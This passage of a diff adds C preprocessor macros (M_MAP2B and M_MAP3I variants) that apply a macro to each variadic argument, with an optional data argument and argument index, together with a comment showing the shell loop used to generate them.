f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) 
+#define M_MAP2B_64(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) 
+#define M_MAP2B_65(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) 
+#define M_MAP2B_66(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) 
+#define M_MAP2B_67(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) 
+#define M_MAP2B_68(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) 
+#define M_MAP2B_69(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) 
+#define M_MAP2B_70(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) f(d, _70) 
+#define M_MAP2B_71(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) f(d, _70) f(d, _71) 
+#define M_MAP2B_72(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) f(d, _70) f(d, _71) f(d, _72) 
+#define M_MAP2B_73(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) f(d, _70) f(d, _71) f(d, _72) f(d, _73) 
+#define M_MAP2B_74(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73, _74) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) f(d, _70) f(d, _71) f(d, _72) f(d, _73) f(d, _74) 
+#define M_MAP2B_75(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71, _72, _73, _74, _75) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) f(d, _70) f(d, _71) f(d, _72) f(d, _73) f(d, _74) f(d, _75) 
+
+
+/* Map a macro to all given arguments with two additional fixed data (non recursive version):
+   one of the parameter is given and one numerical which is the argument number.
+  Example:
+    M_MAP3(f, data, a, b, c) ==> f(data,1,a) f(data,2,b) f(data,3,c)
+  Generated by the following command:
+   for i in $(seq 1 52) ; do printf "#define M_MAP3I_%d(f, d" $i ; for j in $(seq 1 $i) ; do printf ", _%d" $j ; done ; printf ") " ; for j in $(seq 1 $i) ; do printf "f(d, %d, _%d) " $j $j ; done ; printf "\n"; done
+*/
+#define M_MAP3(...)           M_MAP3I_0(__VA_ARGS__)
+#define M_MAP3I_0(f, d, ...)  M_C(M_MAP3I_, M_NARGS(__VA_ARGS__))(f, d, __VA_ARGS__)
+#define M_MAP3I_1(f, d, _1) f(d, 1, _1) 
+#define M_MAP3I_2(f, d, _1, _2) f(d, 1, _1) f(d, 2, _2) 
+#define M_MAP3I_3(f, d, _1, _2, _3) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) 
+#define M_MAP3I_4(f, d, _1, _2, _3, _4) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) 
+#define M_MAP3I_5(f, d, _1, _2, _3, _4, _5) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) 
+#define M_MAP3I_6(f, d, _1, _2, _3, _4, _5, _6) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) 
+#define M_MAP3I_7(f, d, _1, _2, _3, _4, _5, _6, _7) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) 
+#define M_MAP3I_8(f, d, _1, _2, _3, _4, _5, _6, _7, _8) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) 
+#define M_MAP3I_9(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) 
+#define M_MAP3I_10(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) 
+#define M_MAP3I_11(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) 
+#define M_MAP3I_12(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) 
+#define M_MAP3I_13(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) 
+#define M_MAP3I_14(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) 
+#define M_MAP3I_15(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) 
+#define M_MAP3I_16(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) 
+#define M_MAP3I_17(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) 
+#define M_MAP3I_18(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) 
+#define M_MAP3I_19(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) 
+#define M_MAP3I_20(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) 
+#define M_MAP3I_21(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) 
+#define M_MAP3I_22(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) 
+#define M_MAP3I_23(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) 
+#define M_MAP3I_24(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) 
+#define M_MAP3I_25(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) 
+#define M_MAP3I_26(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) 
+#define M_MAP3I_27(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) 
+#define M_MAP3I_28(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) f(d, 1, _1) f(d, 2, _2) f(d, 3, _3) f(d, 4, _4) f(d, 5, _5) f(d, 6, _6) f(d, 7, _7) f(d, 8, _8) f(d, 9, _9) f(d, 10, _10) f(d, 11, _11) f(d, 12, _12) f(d, 13, _13) f(d, 14, _14) f(d, 15, _15) f(d, 16, _16) f(d, 17, _17) f(d, 18, _18) f(d, 19, _19) f(d, 20, _20) f(d, 21, _21) f(d, 22, _22) f(d, 23, _23) f(d, 24, _24) f(d, 25, _25) f(d, 26, _26) f(d, 27, _27) f(d, 28, _28) 
